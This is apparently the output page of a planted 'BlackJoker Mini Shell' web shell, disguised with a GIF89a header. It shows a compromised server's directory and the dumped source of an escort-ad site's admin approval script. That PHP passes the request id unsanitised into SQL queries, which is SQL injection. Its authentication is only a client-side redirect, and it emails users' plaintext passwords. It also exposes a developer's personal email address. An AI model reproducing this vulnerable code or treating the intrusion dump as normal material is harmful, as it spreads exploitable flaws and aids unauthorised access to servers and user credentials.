GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/approvebyadmin.php

<?
session_start();
if(!($_SESSION['authislogin']))
  {
	
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");


?>

<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Escort Service | Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
    <!--<div data-role="content" id="searchboxx">
    	<div data-role="fieldcontain" id="ser" data-iconpos="right">            
            <input type="search" name="search-2" id="search-2" value="" />
        </div>	
    </div>-->
    
	<div data-role="content">
    	<h2 id="loginheadertext">Approve By Admin</h2>
         <?
	$id=$_GET['id'];
	if($_GET['id'])
	{
		
		$sql_estdtls="select * from escort_details where id='".$_GET['id']."'";
		$res_estdtls=execute_query($sql_estdtls);
		$row_estdtls=mysql_fetch_array($res_estdtls);
		
		if($row_estdtls['status']=='u')
		{
				
		$insert_sql="update escort_details set status='a' WHERE id='$id'";
		execute_query($insert_sql);
		
		$sql_email="select * from escort_details where id='$id'";
		$res_email=execute_query($sql_email);
		$row_email=mysql_fetch_array($res_email);
		
		$sql_userinfo="select * from user_info where userid='".$row_email['user_id']."'";
		$res_userinfo=execute_query($sql_userinfo);
		$row_userinfo=mysql_fetch_array($res_userinfo);
		
		$to = $row_email['email']; 
		 // $to = "subhrajyoti.mca11@gmail.com";
		$subject="Your Ad is now Active"; 
		
		$body="<html>
												<head>
												  <title>Your Ad is now Active</title>
												</head>
												<body>
												<table style='padding:10px; color:#000;'>
													<tr><th></th></tr>
													<tr><td><br/></td></tr>
													<tr>
													  <td>Hey,thanks for posting with us!</td>
													</tr>
													<tr>
													  <td>Your Ad is now Active.</td>
													</tr>
													<tr>
													  <td>To edit/Delete your posting or to use other site features your login credentials are</td>
													</tr>
													<tr>
													  <td>Username:".$row_userinfo['username']."</td>
													</tr>
													<tr>
													  <td>Password:".$row_userinfo['password']."</td>
													</tr>
													
													<tr>
													  <td>To login in to your account click here <a href='http://m.escortservice.org/login.php' style='color:#AD0066;'>Logoin</a></td>
													</tr>
													<tr>
													  <td>Do not delete this email-you might nedd edit or delete your post in future.</td>
													</tr>
													<tr height='10'></tr>
													<tr>
													  <td>Important! Please link to your ad as frequently as possible. It will really help spread the word.</td>
													</tr>
													<tr>
													  <td>Also we invite you to post your services on our other site:</td>
													 <td><a href='http://callgirls.org/'>Callgirls.org</a></td>
													</tr>
													<tr>
														<td>Some Details.......</td>
													</tr>
													<tr>
														<td>Name:".$row_email['nickname']."</td>
														
													</tr>
													<tr>
														<td>Email:".$row_email['email']."</td>
													</tr>
													<tr>
														<td>State :".$row_email['escort_state']."</td>
													</tr>
													<tr>
														<td>City :".$row_email['escort_city']."</td>
													</tr>
													<tr>
														<td>Ad Creation Date :".$row_email['creation_date']."</td>
													</tr>
													
												  </table>
												</body>
												</html>";
												// To send HTML mail, the Content-type header must be set
												$headers  = 'MIME-Version: 1.0' . "\r\n";
												$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
												
												// Additional headers
												$headers .= 'From: escortservice <support@escortservice.org>' . "\r\n";
													
												
												mail($to, $subject, $body, $headers);	
		
				
		
		/*$body="Welcome to escortservice.org. Your Ad is live now";
						
		$headers = 'From: escortservice<support@escortservice.org>' . "\r\n" .
		'Reply-To: support@escortservice.org' . "\r\n" .
		'X-Mailer: PHP/' . phpversion();
						
		mail($to, $subject, $body, $headers);*/
		
		
		 
	   
	
	
		?>
			
			<p id="loginalertmsg">
        	 You have successfully approve this Ad. <a id="loginnow" href="approve-post.php?id=<?=$id?>" data-transition="flip">Back to Previous Page</a>
        	</p>
			
			<!--<script language="javascript">
				alert('You have successfully approve this Ad');
				location.href="<?=$loc?>";
			</script>-->
		<?
		}
		else
		{
		?>
        
           <p id="loginalertmsg">
        	 You have successfully approve this Ad. <a id="loginnow" href="approve-post.php?id=<?=$id?>" data-transition="flip">Back to Previous Page</a>
        	</p>
			
		<?
			
		}
	
	}
	
	?>
        
      
        
	  	
	</div>
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0